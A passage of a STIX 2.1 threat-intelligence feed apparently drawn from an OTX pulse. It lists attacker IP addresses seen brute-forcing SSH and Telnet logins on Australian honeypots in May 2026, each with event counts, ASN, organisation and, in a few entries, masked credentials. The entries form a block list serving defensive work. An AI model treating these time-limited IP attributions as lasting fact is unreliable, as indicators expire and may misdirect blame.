      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.80.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d00502cb-6b2c-4874-aa91-a3930a4c05fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.168.163.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264573. Organisation(s): GNEX LTDA.",
      "id": "indicator--4247af6b-e957-480b-ad7f-fca7430496b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.0.236.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b0ca87e1-c8ff-434f-9354-a3e97f1a15cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.115.30.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266030. Organisation(s): W B DE ANDRADE TELECOMUNICACOES E INFORMATICA.",
      "id": "indicator--4cd9f6e8-b907-44a1-a1e4-8ec327bb0703",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.245.246.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5a3e36d5-089f-4fe6-a3e0-b045912352c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.208.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9a6bb03d-822e-4847-af22-42681dce125a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.123.7.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61908. Organisation(s): Nova Net Telecomunicacoes Ltda.",
      "id": "indicator--7f1cc747-7a8a-4666-9bdb-4acda077a2cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.124.190.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f14cdf2c-baf1-490b-9393-db359bf4ecfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.115.168.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--9383ff79-3458-4b63-bacd-5a903e5861a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.202.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--dd73dd79-6a84-4be4-922d-bf12ce10833d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.254.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e88c700b-b9ed-4d3a-a77d-67c9ecedbe9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.32.248.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 29119. Organisation(s): Aire Networks Del Mediterraneo Sl Unipersonal.",
      "id": "indicator--a108872c-407a-4b7d-9aa8-92e029426a37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.160.215.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--dc12050a-88d6-46ca-bfb3-1d5ed26e2d40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.116.163.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 59497. Organisation(s): Buknet LLC.",
      "id": "indicator--3ac70279-b9b4-48be-b928-0b7a842c24cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.191.237.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 52495. Organisation(s): Cotel Ltda..",
      "id": "indicator--c8eceee3-2bdc-483d-9643-9c85edd46d7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.103.68.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--8550a24b-764b-4c73-980c-5d210d62cb84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.207.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52689. Organisation(s): ESPACO DIGITAL.",
      "id": "indicator--4913e153-95e3-48c6-b8bd-9fff6a410d84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.3.27.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--2bfb7c85-80ca-4829-aa78-cc7d581a5856",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.0.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ac59adf1-9a48-4e61-8946-be96ad55166e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--cf972d4a-cc9a-4df4-a9f1-456b7d2eb818",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.79.145.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--5f4b5eb5-43e9-4e74-907c-bcddea529fa1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.73.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--c28bb17a-cd2f-4a72-835f-a714057d1f03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.16.212.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--95da3980-6762-48af-9178-7876eec644dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.19.219.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9374f72b-4849-4591-8a8f-665a1c30a9af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.22.41.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 263702. Organisation(s): GRUPO ZGH SPA.",
      "id": "indicator--4af1d746-8465-4d49-8586-45bbeaaf770a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.7.195.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--96830260-ecba-4048-bf94-c6b00dbf3fd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.141.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--b4b1cd5d-09f7-43e3-9bb7-9e016cb86bb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.234.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--32ef051a-e321-41fb-b8e1-5871c0d0bd28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.251.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, t*****p, 3**********4, ***, c****e. Passwords observed (masked): 1****6, 1*******a, 3***********4, 3**********4, A******6.",
      "id": "indicator--078ef95b-1f6d-4b83-b3b2-2cad1f0a17f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): I***********************4.",
      "id": "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--439743c6-c71e-46a4-988d-b03353f1ca9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.48.134.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 200446. Organisation(s): SELNET LLC.",
      "id": "indicator--2b86f701-2e9a-41d5-b40e-f29ea8751a68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.212.229.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 42313. Organisation(s): One Albania Sh.a..",
      "id": "indicator--562f770f-86cb-4f06-b194-97d09084fc48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.106.25.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T19:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 42552. Organisation(s): Niles sp. z o.o..",
      "id": "indicator--d10945ec-9fcd-43bf-8727-33fdcebfb6fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.192.206.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:15:06.000Z",
      "valid_until": "2026-06-20T19:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--dfef02a8-abd0-4913-80d4-af12084f6d53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.106.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265225. Organisation(s): XINGU TELECOM LTDA.",
      "id": "indicator--d98e7d1d-9dc2-4e7b-a6cb-86dee4af06b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.0.82.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:15:05.000Z",
      "valid_until": "2026-06-20T20:15:03.000Z"
    },
    {
      "created": "2026-05-19T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262373. Organisation(s): CONECT TELECOM.",
